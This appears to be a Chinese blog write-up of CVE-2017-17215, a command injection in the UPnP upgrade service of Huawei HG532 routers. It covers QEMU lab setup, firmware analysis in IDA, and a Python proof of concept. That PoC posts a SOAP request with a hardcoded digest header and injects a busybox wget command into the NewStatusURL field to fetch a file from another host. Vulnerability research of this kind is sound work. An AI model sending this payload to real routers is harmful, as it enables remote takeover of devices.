1. 程式人生 > 其它 >CVE-2017-17215 華為路由器漏洞分析

CVE-2017-17215 華為路由器漏洞分析

  • 環境搭建

    韌體連結:https://ia601506.us.archive.org/22/items/RouterHG532e/router HG532e.rar

    qemu 配置:

    採用 TAP 模式(linux 核心自帶的虛擬化網路裝置),簡單來說就是在兩張網絡卡(虛擬機器網絡卡 ens33,可以上網)和 qemu 中的網絡卡之間搭一個網橋(br0),使得 qemu 和 虛擬機器共享網路。

    所需軟體:
    apt-get install bridge-utils        # 虛擬網橋工具
    apt-get install uml-utilities       # UML(User-mode linux)工具
    
    注意事項:

    之前按照網上其他的配置方法改了 /etc/network/interfaces 但失敗,之後採用這種方法也失敗,回滾之後成功。

    操作流程:
    sudo ifconfig ens33 down				# 首先關閉宿主機網絡卡介面
    sudo brctl addbr br0  					# 新增名為 br0 的網橋
    sudo brctl addif br0 ens33				# 在 br0 中新增一個介面
    sudo brctl stp br0 off					# 如果只有一個網橋,則關閉生成樹協議
    sudo brctl setfd br0 1					# 設定 br0 的轉發延遲
    sudo brctl sethello br0 1				# 設定 br0 的 hello 時間
    sudo ifconfig br0 0.0.0.0 promisc up	# 啟用 br0 介面
    sudo ifconfig ens33 0.0.0.0 promisc up	# 啟用網絡卡介面
    sudo dhclient br0                       # 從 dhcp 伺服器獲得 br0 的 IP 地址
    sudo brctl show br0                     # 檢視虛擬網橋列表
    sudo brctl showstp br0                  # 檢視 br0 的各介面資訊
    

    新增 TAP 裝置,連線於 qemu 的網絡卡

    sudo tunctl -t tap0 -u root              # 建立一個 tap0 介面,只允許 root 使用者訪問
    sudo brctl addif br0 tap0                # 在虛擬網橋中增加一個 tap0 介面
    sudo ifconfig tap0 0.0.0.0 promisc up    # 啟用 tap0 介面
    sudo brctl showstp br0                   # 顯示 br0 的各個介面
    
    run:(root/root)
    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no
    

    把韌體解壓之後,用 scp 傳到 qemu 中

    scp -r ./squashfs-root/ [email protected]:/root
    

    更換目錄到檔案系統:

    chroot /root/squashfs-root /bin/sh
    
  • 漏洞分析

    漏洞出現在 Upnp 服務中,從檔案系統中找到拖 IDA 中,找一下漏洞觸發點 NewStatusURL,x 看一下交叉引用 ,最終確定:

    在 ATP_XML_GetChildNodeByName 函式中,程式首先進行 SOAP XML 解析,提取出 NewDownloadURL 和 NewStatusURL 的值,然後在 sprintf 中把 a0 拼接到字串中,最終用 system 執行。

    相當於:

    snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)
    
    system($s0)
    

    只需要將命令放到 <NewStatusURL> 節點中即可,注意閉合。

    poc.py(復現失敗):

    在啟動 mic 服務的時候會有一個奇怪的登入,之後懂了再來填吧。

    #Filename: exp.py
    #Data: 2019-04-14:
    #Author: raycp
    #Description: exp for CVE-2017-17125
    
    
    import requests 
    headers = {
        "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
    }
    
    data = '''<?xml version="1.0" ?>
     <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
       <NewStatusURL>;/bin/busybox wget -g 192.168.174.131 -l /tmp/1 -r /1;</NewStatusURL>
       <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
      </u:Upgrade>
     </s:Body>
    </s:Envelope>
    '''
    requests.post('http://192.168.174.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
    
  • 參考文獻